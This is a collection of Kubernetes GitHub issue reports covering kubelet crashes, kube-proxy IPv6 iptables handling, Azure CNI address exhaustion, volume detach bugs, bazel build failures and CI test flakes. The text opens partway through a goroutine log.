+0x11c\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/eviction.  managerimpl .start\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/eviction_manager.go:162 +0x6c\r jun 26 07:10:22 pi5 kubelet 716 : goroutine 432  sleep :\r jun 26 07:10:22 pi5 kubelet 716 : time.sleep 0x137f8c859 \r jun 26 07:10:22 pi5 kubelet 716 : /usr/local/go/src/runtime/time.go:59 +0xe8\r jun 26 07:10:22 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/prober.  worker .run 0x44206f76c0 \r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/prober/worker.go:116 +0x88\r jun 26 07:10:22 pi5 kubelet 716 : created by k8s.io/kubernetes/pkg/kubelet/prober.  manager .addpod\r jun 26 07:10:22 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/prober/prober_manager.go:159 +0x2b8\r    \r \r </details>\r \r   what you expected to happen  :\r \r kubelet would function normally\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubeadm init --kubernetes-version v1.7.0-rc.1  where  kubeadm ,  kubectl  and  kubelet  binaries on host also are of version  v1.7.0-rc.1 \r \r   anything else we need to know?  :\r \r this was on an arm64 machine, but i don't think it's arm64 related at a first glance.\r after kubelet had failed a couple of times in a systemd crashloop, it eventually started up and worked fine.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0-rc.1\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : hypriotos  debian 8 \r - kernel  e.g.  uname -a  :  linux pi5 4.9.13-bee42-v8  1 smp preempt fri mar 3 16:42:37 utc 2017 aarch64 gnu/linux \r - install tools: kubeadm\r - others:\r \r \r cc @kubernetes/sig-node-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when bringing up kube-proxy in ipv6 mode  i.e. with a bindaddress of ::0 , several error messages were seen in the kube-proxy logs indicating that 'iptables-save' and 'iptables-restore' utilities were being called instead of 'ip6tables-save' and 'ip6tables-restore'. \r \r   what you expected to happen  :\r kube-proxy should be using 'ip6tables-save' and 'ip6tables\r \r   how to reproduce it  as minimally and precisely as possible   :\r merge in changes from pr  48551, and then run kube-proxy with '--bind-address ::0'.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master plus pr  48551\r - cloud provider or hardware configuration  : centos 7 virtualbox vms on a ubuntu 16.04.1 host\r - os  e.g. from /etc/os-release : ubuntu 16.04.1 host, centos 6 guests\r - kernel  e.g.  uname -a  : 4.4.0-78-generic  99-ubuntu x86_64 gnu/linux\r - install tools:\r - others:\r

   what happened  :\r \r the etcd_image  environment variable can be provided to cluster scripts such as  cluster/kube-up.sh , but it only allows the version of etcd to be specified.\r \r for example,\r \r    \r etcd_image=3.0.17 cluster/kube-up.sh\r    \r \r will deploy the kubernetes master with an etcd container running  gcr.io/google_containers/etcd:3.0.17 . but there is no way to specify that an image from an alternate registry should be used.  this make it difficult to test kubernetes against development versions of etcd when making changes to etcd.\r \r   what you expected to happen  :\r \r we need a way to specify the entire etcd image identifier, including the registry.  the most obvious way to do this would be to introduce a etcd_image_registry environment variable that defaults to  gcr.io/google_containers  but that could be overridden.\r

is this a bug report or feature request?  : bug report\r \r  \r   what happened  : \r \r i have a kubernetes 1.7.5 cluster which has somehow gotten into a broken state. scheduling a new deployment fails. the events are:\r \r    \r default   2017-09-28 03:57:02 -0400 edt   2017-09-28 03:57:02 -0400 edt   1         hello-4059723819-8s35v   pod       spec.containers{hello}   normal    pulled    kubelet, k8s-agentpool1-18117938-2   successfully pulled image \ myregistry.azurecr.io/mybiz/hello\ \r default   2017-09-28 03:57:02 -0400 edt   2017-09-28 03:57:02 -0400 edt   1         hello-4059723819-8s35v   pod       spec.containers{hello}   normal    created   kubelet, k8s-agentpool1-18117938-2   created container\r default   2017-09-28 03:57:03 -0400 edt   2017-09-28 03:57:03 -0400 edt   1         hello-4059723819-8s35v   pod       spec.containers{hello}   normal    started   kubelet, k8s-agentpool1-18117938-2   started container\r default   2017-09-28 03:57:13 -0400 edt   2017-09-28 03:57:01 -0400 edt   2         hello-4059723819-tj043   pod                 warning   failedsync   kubelet, k8s-agentpool1-18117938-3   error syncing pod\r default   2017-09-28 03:57:13 -0400 edt   2017-09-28 03:57:02 -0400 edt   2         hello-4059723819-tj043   pod                 normal    sandboxchanged   kubelet, k8s-agentpool1-18117938-3   pod sandbox changed, it will be killed and re-created.\r default   2017-09-28 03:57:24 -0400 edt   2017-09-28 03:57:01 -0400 edt   3         hello-4059723819-tj043   pod                 warning   failedsync   kubelet, k8s-agentpool1-18117938-3   error syncing pod\r default   2017-09-28 03:57:25 -0400 edt   2017-09-28 03:57:02 -0400 edt   3         hello-4059723819-tj043   pod                 normal    sandboxchanged   kubelet, k8s-agentpool1-18117938-3   pod sandbox changed, it will be killed and re-created.\r  ... \r    \r \r the dashboard looks like this:\r \r ! image  https://user-images.githubusercontent.com/53049/30989414-a1cad736-a46b-11e7-84f0-4a65ea066b3f.png \r \r eventually, the dashboard shows the error:\r \r    \r error: failed to start container \ hello\ : error response from daemon: {\ message\ :\ cannot join network of a non running container: 7e95918c6b546714ae20f12349efcc6b4b5b9c1e84b5505cf907807efd57525c\ }\r    \r \r the kubelet log on the node shows that an ip address cannot be allocated due to \ no available addresses\ :\r \r     e0928 20:54:01.733682    1750 pod_workers.go:182  error syncing pod 65127a94-a425-11e7-8d64-000d3af4357e  \ hello-4059723819-xx16n_default 65127a94-a425-11e7-8d64-000d3af4357e \  , skipping: failed to \ createpodsandbox\  for \ hello-4059723819-xx16n_default 65127a94-a425-11e7-8d64-000d3af4357e \  with createpodsandboxerror: \ createpodsandbox for pod \\\ hello-4059723819-xx16n_default 65127a94-a425-11e7-8d64-000d3af4357e \\\  failed: rpc error: code = 2 desc = networkplugin cni failed to set up pod \\\ hello-4059723819-xx16n_default\\\  network: failed to allocate address: failed to delegate: failed to allocate address: no available addresses\ \r \r \ no available addresses\ , even though there are only about 15 pods total running on this cluster.\r \r i did have a cron job running every few seconds on this cluster, which would have caused a large number of containers to get created and then terminate. so perhaps this is a bug in azure cni not reclaiming ip addresses used by terminated containers?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i believe this can be reproduced simply by starting and stopping many containers, such as by enabling the  batch/v2alpha1  api and running a cronjob every few seconds.\r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : azure with azure cni networking plugin\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :  linux k8s-master-18117938-0 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools: acs-engine\r - others:\r restarting the master has no effect

is this a bug report or feature request?  :\r \r    @kubernetes/sig-federation\r \r   what happened  :\r i have a federated cluster composed of one host cluster and one joined cluster running in aws. they were created following the steps in the documentation, and i am able to see via the kubernetes dashboard that all components are running correctly. \r \r to test the federated setup, i used a simple nginx deployment also from the docs, stored in  deployment.proxy.yml :\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: proxy\r spec:\r   replicas: 5   tells deployment to run 2 pods matching the template\r   template:   create pods using pod definition in this template\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:latest\r         ports:\r         - containerport: 80\r    \r i then execute  kubectl create --context=federation -f deployment.proxy.yml . assuming i don't change  apiversion , the deployment runs fine and almost immediately reaches the desired count  if i use  apiversion: apps/v1beta2  or any other api version than  extensions/  with my federated setup, i get errors and it won't start . i then go to tear down the deployment by executing  kubectl delete deployment --context=federation proxy .\r \r however, kubectl reports  error: timed out waiting for the condition . the deployment instances spin down to zero, but the deployment won't disappear: \r    \r name      desired   current   up-to-date   available   age\r proxy     0         0         0            0           1h\r    \r i can delete them via the dashboard, or by switching to joined cluster's context and using  kubctl delete deployment proxy , but even after kubectll reports they are deleted successfully, they reappear and still cannot be deleted from the federation context.\r \r   what you expected to happen  :\r the deployment to be deleted. this works fine if i'm not using my federated context.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a federated setup via the docs, launch the above job, and then try to delete it.\r \r   environment  :\r - kubernetes version:\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ ,\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when a pod with disk mount pvc is already moved from a node, the pvc is always be in node.volumesinuse, makes statefulset pod stuck in containercreating forever. although i found this issue on azure, i think it's a common issue.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r you could find detailed steps  here  https://github.com/andyzhangx/demo/tree/master/linux/azuredisk/attach-stress-test/statefulset \r 1. set up a k8s cluster with 2 agent nodes node 1, node 2 \r 2. kubectl cordon node 2\r 3. set up 3 statefulsets  1 replica  with azure disk mount each, and all pods will be scheduled to node 1\r 4. kubectl uncordon node 2\r 5. kubectl drain node 1, and then all 3 pods will be scheduled to node 2\r 6. in some condition, these all 3 pods will be stuck in containercreating forever\r \r i have check status of node 1, node 2, the  node.volumesinuse  is incorrect in node 1 since all pods have been moved to node 2,  node.volumesinuse  in node 1 should be empty, while all 3 volumes are still in node 1. actually there are also   ghost   volumes in node 1 after i  kubectl drain node 1 \r    \r $ kubectl get no -o yaml\r node 1:\r     volumesinuse:\r     - kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-44047e5f-3bee-11e8-a378-000d3afe2762\r     - kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-47172341-3bee-11e8-a378-000d3afe2762\r     - kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-4b0456b6-3bee-11e8-a378-000d3afe2762\r \t...\r     - kubernetes.io/azure-disk/m1172705877\r     - kubernetes.io/azure-disk/m1501302046\r     - kubernetes.io/azure-disk/m1616520398\r     - kubernetes.io/azure-disk/m3310431730\r     - kubernetes.io/azure-disk/m3795987642\r     - kubernetes.io/azure-disk/m752008917\r \r node 2:\t\r     volumesattached:\r     - devicepath: \ 0\ \r       name: kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-47172341-3bee-11e8-a378-000d3afe2762\r     - devicepath: \ 1\ \r       name: kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-44047e5f-3bee-11e8-a378-000d3afe2762\r     - devicepath: \ 2\ \r       name: kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-4b0456b6-3bee-11e8-a378-000d3afe2762\r     volumesinuse:\r     - kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-44047e5f-3bee-11e8-a378-000d3afe2762\r     - kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-47172341-3bee-11e8-a378-000d3afe2762\r     - kubernetes.io/azure-disk//subscriptions/4be8920b-2978-43d7-ab14-04d8549c1d05/resourcegroups/andy-mg196/providers/microsoft.compute/disks/andy-mg196-dynamic-pvc-4b0456b6-3bee-11e8-a378-000d3afe2762\r     ...\r     - kubernetes.io/azure-disk/m1172705877\r     - kubernetes.io/azure-disk/m3310431730\r     - kubernetes.io/azure-disk/m3795987642\r    \r \r   anything else we need to know?  :\r restart kubelet manually in both node 1, node 2 would work\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

today, kubelet config validation is performed against the currently set feature gates. this ignores the fact that configs can modify feature gates. we should, instead, validate against the future combination of currently set feature gates and feature gates from the config. \r \r wrt dynamic config, this is somewhat complicated by the flag precedence rules we enforce, because until the  --feature-gates  flag is removed from the kubelet, validation also needs to take the flag layer into account. this may mean validation has to be lifted out of the dynamic config controller  because the controller exists below the flag precedence enforcement , which complicates the config loading workflow, status reporting, etc.  alternatively, we could inject the feature gate overrides into the controller... \r \r this must be fixed before dynamic kubelet config can go beta.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r unmount volume fails in kubelet when volume with xfs filesystem is shutdown due to io error. this causes pod to be stuck in terminating state forever.\r \r   what you expected to happen  :\r unmount volume should succeed\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod with  iscsi/network mounted volume and disconnect/de-provision iscsi target.\r delete pod\r \r   anything else we need to know?  :\r xfs shuts down the filesystem due to i/o errors. kubelet issues \ stat\  call to check if the mount point exists. stat calls fail with eio and kubelet never unmounts the volume.\r issue was fixed with  67097. \r fix for  68759 has introduced this issue again.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.3\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : \r linux appserv40 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: manual\r - others:\r

please see:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/regions.go l81\r \r this is making it hard to move the code to staging/ as part of external cloud provider enablement.\r

which jobs are failing  :\r     ci-kubernetes-e2e-gci-gce-ingress   https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/20602 \r     ci-kubernetes-e2e-gce-cos-k8sbeta-ingress   https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-ingress/6339 \r \r   which test s  are failing  :\r the jobs are timing out, but just before that, the following tests failed:\r     sig-network  loadbalancing: l7 gce  slow   feature:ingress  should be able to switch between https and http2 modes \r     sig-network  loadbalancing: l7 gce  slow   feature:ingress  should update ingress while sync failures occur on other ingresses \r     sig-network  loadbalancing: l7 gce  slow   feature:neg  should create negs for all ports with the ingress annotation, and negs for the standalone annotation otherwise   in  gce-cos-master-ingress  \r     sig-network  loadbalancing: l7 gce  slow   feature:ingress  should be able to switch between https and http2 modes   in  gce-cos-1.14-ingress  \r \r   since when has it been failing  :\r late 2019-03-07\r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-ingress\r   https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-ingress\r \r   reason for failure  :\r timeout related to the l7 controller:\r    \r error: l7 controller failed to delete all cloud resources on time. timed out waiting for the condition\r    \r \r  /  failing consistently in release blocking jobs, blocking other tests entirely from running \r \r cc @kubernetes/sig-network-test-failures \r cc @smourapina @alejandrox1 @kacole2 @mortent

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r according to https://github.com/azure/go-autorest/issues/357, the timeout set in context doesn't take effect and 15min is always used for long running operations.\r \r we should upgrade the version of go-autorest to 11.1.2 or 11.3.2.\r \r   what you expected to happen  :\r \r azure clients respect timeout set from context.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r cross refer https://github.com/kubernetes/test-infra/pull/11887.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /

https://github.com/kubernetes/community/blob/master/contributors/devel/sig-architecture/conformance-tests.md conformance-test-requirements\r \r this needs a checklist of things to look for in regards to windows node support. right now windows doesn't have a conformance profile, so the main goals are:\r \r 1. don't make changes to existing passing tests which will break on windows after the change\r 2. tag new tests that depend on linux-only functionality with   linuxonly   so they are automatically excluded in windows test pass runs\r \r \r sources of info:\r \r - windows docs: https://kubernetes.io/docs/setup/windows/intro-windows-in-kubernetes/ api \r - @bclau has a list of what passes/doesn't on windows https://docs.google.com/spreadsheets/d/1j8fau0blgdhwmrw5ib9lluydkbzjsghapterca7wqrm/edit gid=1365541815

we should improve e2e testing of persistent volumes claims  pvc . - the existing test   test/e2e/persistent_volumes.go   uses nfs and is disabled for regular test runs. - we should add a few gce pd based test so that pvc code is regularly tested as part of jenkins  kubernetes-e2e-gce  build.

is this a bug report or feature request?    choose one :\r feature request\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : gce / gke\r \r   what happened  :\r i have pod exposed by using service, with name  test-svc . i can resolve it from other pods by using either  test-svc  or  test-svc.default.svc.cluster.local  name.\r \r   what you expected to happen  :\r i want to have possibility to add cname record, for example  test-service.mydomain.com  in my cluster, which is going to point to  test-svc  or  test-svc.default.svc.cluster.local .

jenkins bazel build / pull-kubernetes-bazel flaked after passing all tests:\r \r    \r i0428 22:01:26.047  executed 161 out of 561 tests: 561 tests pass.\r i0428 22:01:26.047  there were tests whose specified size is too big. use the --test_verbose_timeout_warnings command line option to see which ones these are.\r w0428 22:01:26.147  info: $test_tmpdir defined: output root default is '/root/.cache/bazel'.\r w0428 22:01:28.379  ____loading complete.  analyzing...\r w0428 22:01:28.771  error: /workspace/k8s.io/kubernetes/build/build:22:1: no such package '@busybox_deb//file': error downloading  http://ftp.us.debian.org/debian/pool/main/b/busybox/busybox-static_1.22.0-19+b2_amd64.deb  to /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/external/busybox_deb/busybox-static_1.22.0-19+b2_amd64.deb: get returned 404 not found and referenced by '//build:busybox'.\r w0428 22:01:29.165  error: analysis of target '//build/release-tars:release-tars' failed; build aborted.\r w0428 22:01:29.166  ____elapsed time: 3.058s\r w0428 22:01:29.170  make:      bazel-release  error 1\r i0428 22:01:29.270  makefile:534: recipe for target 'bazel-release' failed\r e0428 22:01:29.392  build failed\r i0428 22:01:29.392  process 468 exited with code 2 after 10.4m\r e0428 22:01:29.393  fail: pull-kubernetes-bazel\r i0428 22:01:29.393  upload result and artifacts...\r i0428 22:01:29.393  gubernator results at https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/41583/pull-kubernetes-bazel/15298\r i0428 22:01:29.394  call:  gsutil -m -q -o gsutil:use_magicfile=true cp -r -c -z log,txt,xml _artifacts gs://kubernetes-jenkins/pr-logs/pull/41583/pull-kubernetes-bazel/15298/artifacts\r i0428 22:01:32.874  process 9750 exited with code 0 after 0.1m\r i0428 22:01:32.874  call:  git rev-parse head\r i0428 22:01:32.877  process 10261 exited with code 0 after 0.0m\r    \r full log: https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/41583/pull-kubernetes-bazel/15298/build-log.txt

failure cluster  ac251c8c201b5a9a0dc3  https://go.k8s.io/triage ac251c8c201b5a9a0dc3        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ slow\\  --ginkgo.skip=\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ : exit status 1           failure cluster statistics: 1 tests failed,    22 jobs failed,    140 builds failed. failure stats cover 1 day time range '14 jun 2017 02:02 utc' to '15 jun 2017 02:02 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 22 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-slow-release-1-7 | 23 |  15 jun 2017 01:14 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow-release-1-7/194  | | ci-kubernetes-e2e-gce-slow-release-1-7 | 19 |  15 jun 2017 00:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-slow-release-1-7/168  | | ci-kubernetes-e2e-gci-gce-slow | 15 |  14 jun 2017 23:01 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/6194  |        previously closed issues for this cluster:  46531    current status  https://go.k8s.io/triage ac251c8c201b5a9a0dc3

what happened  :\r i'm trying to use bazel to build a project that depends on client-go 4.0  k8s 1.7  which transitively depends on apimachinery of a corresponding version. this is what i'm getting:\r \r    console\r error: /gopath/src/github.com/atlassian/smith/vendor/k8s.io/apimachinery/pkg/util/sets/build:25:1: no such package 'hack/boilerplate': build file not found on package path and referenced by '//vendor/k8s.io/apimachinery/pkg/util/sets:set-gen'.\r error: /gopath/src/github.com/atlassian/smith/vendor/k8s.io/apimachinery/pkg/util/sets/build:25:1: no such package 'cmd/libs/go2idl/set-gen': build file not found on package path and referenced by '//vendor/k8s.io/apimachinery/pkg/util/sets:set-gen'.\r    \r offending rule is  go_genrule   was introduced in  38990 : https://github.com/kubernetes/apimachinery/blob/abe34e4f5b4413c282a83011892cbeea5b32223b/pkg/util/sets/build l25  version that i use .\r \r if i take this build file from master   there are some changes  https://github.com/kubernetes/kubernetes/blob/e633a1604f00908a1dcc898b206c3404db4d82ed/staging/src/k8s.io/apimachinery/pkg/util/sets/build l22   then i'm getting this:\r    console\r error: /gopath/src/github.com/atlassian/smith/vendor/k8s.io/apimachinery/pkg/util/sets/build:22:1: no such package 'hack/boilerplate': build file not found on package path and referenced by '//vendor/k8s.io/apimachinery/pkg/util/sets:set-gen'.\r    \r also i suspect it will not find   //vendor/k8s.io/code-generator/cmd/set-gen   https://github.com/kubernetes/kubernetes/blob/e633a1604f00908a1dcc898b206c3404db4d82ed/staging/src/k8s.io/apimachinery/pkg/util/sets/build l46  which is referenced there too. \r \r   anything else we need to know?  :\r looks like apimachinery repository is not being synced with k8s/kubernetes - it is 22 days old while there is a 3 days old commit to the build file mentioned above. /cc @caesarxuchao \r \r perhaps there should be a testing project that exercises client-go/apimachinery/etc as dependencies if used via bazel. it all works fine if used directly.\r \r similar to  42134.\r \r    \r build label: 0.5.3-homebrew\r build target: bazel-out/darwin_x86_64-opt/bin/src/main/java/com/google/devtools/build/lib/bazel/bazelserver_deploy.jar\r build time: sun aug 6 12:54:10 2017  1502024050 \r build timestamp: 1502024050\r build timestamp as int: 1502024050\r    \r rules_go: 0.5.3\r \r also bazel also couldn't find  @io_kubernetes_build   but at least this is fixable :\r    console\r error loading package 'vendor/k8s.io/apimachinery/pkg/util/sets': extension file not found. unable to load package for '@io_kubernetes_build//defs:go.bzl': the repository could not be resolved and referenced by '//vendor/k8s.io/client-go/rest:go_default_library'.\r    \r \r once i comment out  load \ @io_kubernetes_build//defs:go.bzl\ , \ go_genrule\    and  go_genrule  in this build file my build works fine. and it looks like there are no other places in whole apimachinery, and client-go where this module is required and this rule is used.\r \r  /area build-release\r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when the kubelet plugin watcher invokes  registrationhandler.deregister <plugin_name   method, right now the csi code does nothing  method is not implemented .\r \r   what you expected to happen  :\r when the kubelet plugin watcher no longer detects the socket file for a given driver, it invokes the  deregister  method on the csi registration handler, the csi code should then clean up plugin information and remove the corresponding csidriver object.\r \r   how to reproduce it  as minimally and precisely as possible   :\r delete the socket file of a csi plugin exposed for registration, nothing happens.\r \r 

it is too late to do this in 1.13, so when 1.14 opens up, we should update  golang.org/x/net/http2 \r \r please see https://github.com/kubernetes/kubernetes/pull/70971

we have seen this:      sep 09 09:30:29 k8s-01 kubelet 12678 : i0909 09:30:29.530493   12678 docker_manager.go:1955  pod \ kube-apiserver-k8s-01_kube-system a1fb372d77501c81fe1198c219c3397c \  container \ kube-apiserver\  exists as 7559d21284e43716f9684c8f8861c93544bb3a732c419060c4809c89fbb03842 sep 09 09:30:29 k8s-01 kubelet 12678 : i0909 09:30:29.530904   12678 docker_manager.go:2040  got container changes for pod \ kube-apiserver-k8s-01_kube-system a1fb372d77501c81fe1198c219c3397c \ : {startinfracontainer:false infrachanged:false infracontainerid:246b641714eb54372a275adfab89330532a9354d027c135929ed300b235f282b initfailed:false initcontainerstokeep:map   containerstostart:map   containerstokeep:map 246b641714eb54372a275adfab89330532a9354d027c135929ed300b235f282b:-1 7559d21284e43716f9684c8f8861c93544bb3a732c419060c4809c89fbb03842:0 } sep 09 09:30:50 k8s-01 kubelet 12678 : i0909 09:30:50.749320   12678 docker_manager.go:1492  killing container \ 7559d21284e43716f9684c8f8861c93544bb3a732c419060c4809c89fbb03842 kube-apiserver kube-system/kube-apiserver-k8s-01\  with 30 second grace period      this is yesterday's head, i'm quite sure.  the pod never comes back as a result.

is this a request for help?   no    what keywords did you search in kubernetes issues before filing this one?   kube-dns ip kube-dns service ip kube-dns ip race  ---    is this a bug report or feature request?   feature request  ---  when creating cluster assets/addons all at once  e.g.  kubectl create -f asset-dir   - it is possible that some services are dynamically assigned service ip's which may conflict with services expecting a static service ip assignment.  for example, the kube-dns service ip needs to be static so that it can be added to each kubelet's configuration - but it's possible that another service is randomly assigned that ip first.  as an option, i'm wondering about the possibility of adding a flag to the controller-manager that would assign a static range out of the  --service-cluster-ip-range .  for example:      --service-cluster-ip-range=10.3.0.0/24 --service-cluster-ip-range-static=10.3.0.0/28      ref: https://github.com/kubernetes-incubator/bootkube/issues/136

with  45694 we now have verify- .sh scripts around federation generated code/swagger/docs ran as part of  make validate .\r \r however these steps updating the generated federation content are not listed in  hack/update-all.sh . therefore the output of  hack/update-all.sh  is no longer passing the  make validate  if federation-related content is updated. \r \r /assign @nikhiljindal

gpu e2es are failing since yesterday  6/8  - https://k8s-testgrid.appspot.com/google-gce gce-gpu\r \r the only gpu related pr that merged yesterday is https://github.com/kubernetes/kubernetes/pull/46087\r \r cc @dchen1107 @mindprince

internal volume plugin for csi creates volumeattachment with  attacher: \ kubernetes.io/csi\    = the plugin name . it should be csi driver name instead, as the external attacher must know which csi driver to call.\r \r   \r @saad-ali, please prioritize\r @vladimirvivien, ptal. it should be one-line change in https://github.com/jsafrane/kubernetes/blob/master/pkg/volume/csi/csi_attacher.go l67

